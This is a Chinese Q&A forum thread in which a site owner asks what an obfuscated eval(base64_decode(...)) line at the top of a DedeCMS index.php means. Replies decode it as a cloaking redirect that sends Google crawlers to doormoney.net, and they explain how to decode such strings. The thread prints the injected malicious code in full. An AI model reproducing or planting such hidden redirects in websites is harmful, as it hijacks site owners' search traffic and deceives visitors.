谁能帮我解密 base64_decode(好似是PHP加密)

代码如下:
<?php
eval (base64_decode("JGFnZW50PSRfU0VSVkVSW0hUVFBfVVNFUl9BR0VOVF07aWYgKHN0cmlzdHIoJGFnZW50LCJnb29nbGUiKSl7aGVhZGVyKCJIVFRQLzEuMSAzMDEiKTtoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZG9vcm1vbmV5Lm5ldC8iKTtleGl0KCk7fQ=="));
if(!file_exists(dirname(__FILE__) . "/data/common.inc.php"))
{
header("Location:install/index.php");
exit();
}
require_once (dirname(__FILE__) . "/include/common.inc.php");
require_once DEDEINC."/arc.partview.class.php";
$GLOBALS['_arclistEnv'] = 'index';
$row = $dsql->GetOne("Select * From `#@__homepageset`");
$row['templet'] = MfTemplet($row['templet']);
$pv = new PartView();
$pv->SetTemplet($cfg_basedir . $cfg_templets_dir . "/" . $row['templet']);
$pv->Display();

?>

上面那段天书似的代码解密后是什么意思?(就是base64_decode后面的)
解密后请通知我,349294289@qq.com

eval (base64_decode("JGFnZW50PSRfU0VSVkVSW0hUVFBfVVNFUl9BR0VOVF07aWYgKHN0cmlzdHIoJGFnZW50LCJnb29nbGUiKSl7aGVhZGVyKCJIVFRQLzEuMSAzMDEiKTtoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZG9vcm1vbmV5Lm5ldC8iKTtleGl0KCk7fQ=="));

等效于：

$agent=$_SERVER[HTTP_USER_AGENT];if (stristr($agent,"google")){header("HTTP/1.1 301");header("Location: http://doormoney.net/");exit();}

其实这类加密没什么意思，把eval换为echo，删除eval以后的所有语句，执行一下就能解密。

一般最后是==的就是base64加密

解密后：

$agent=$_SERVER[HTTP_USER_AGENT];if (stristr($agent,"google")){header("HTTP/1.1 301");header("Location: http://doormoney.net/");exit();}

解密后：

$agent=$_SERVER[HTTP_USER_AGENT];if (stristr($agent,"google")){header("HTTP/1.1 301");header("Location:

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